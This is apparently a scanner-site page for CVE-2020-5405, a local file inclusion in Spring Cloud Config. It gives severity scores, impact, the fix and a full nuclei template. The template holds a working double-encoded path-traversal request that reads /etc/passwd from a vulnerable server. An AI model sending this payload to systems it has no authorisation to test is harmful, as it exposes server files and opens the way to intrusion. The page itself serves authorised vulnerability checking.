Spring Cloud Config - Local File Inclusion

mediumseverity

6.5CVSS score

68.5%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Spring Cloud Config versions 2.2.x prior to 2.2.2, 2.1.x prior to 2.1.7, and older unsupported versions are vulnerable to local file inclusion because they allow applications to serve arbitrary configuration files through the spring-cloud-config-server module.

Impact

An attacker can read sensitive files on the server, potentially leading to unauthorized access, data leakage, or further exploitation.

Fix

Upgrade to a patched version of Spring Cloud Config or apply the recommended security patches to mitigate the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/a/b/%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2020-5405 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-5405

info:
  name: Spring Cloud Config - Local File Inclusion
  author: harshbothra_
  severity: medium
  description: Spring Cloud Config versions 2.2.x prior to 2.2.2, 2.1.x prior to 2.1.7, and older unsupported versions are vulnerable to local file inclusion because they allow applications to serve arbitrary configuration files through the spring-cloud-config-server module.
  impact: |
    An attacker can read sensitive files on the server, potentially leading to unauthorized access, data leakage, or further exploitation.
  remediation: |
    Upgrade to a patched version of Spring Cloud Config or apply the recommended security patches to mitigate the vulnerability.
  reference:
    - https://pivotal.io/security/cve-2020-5405
    - https://nvd.nist.gov/vuln/detail/CVE-2020-5405
    - https://github.com/Secxt/FINAL
    - https://github.com/pen4uin/vulnerability-research-list
    - https://github.com/sobinge/nuclei-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
    cvss-score: 6.5
    cve-id: CVE-2020-5405
    cwe-id: CWE-22,CWE-23
    epss-score: 0.68542
    epss-percentile: 0.99343
    cpe: cpe:2.3:a:vmware:spring_cloud_config:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: vmware
    product: spring_cloud_config
  tags: cve2020,cve,lfi,springcloud,vmware,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/a/b/%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc/passwd'

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from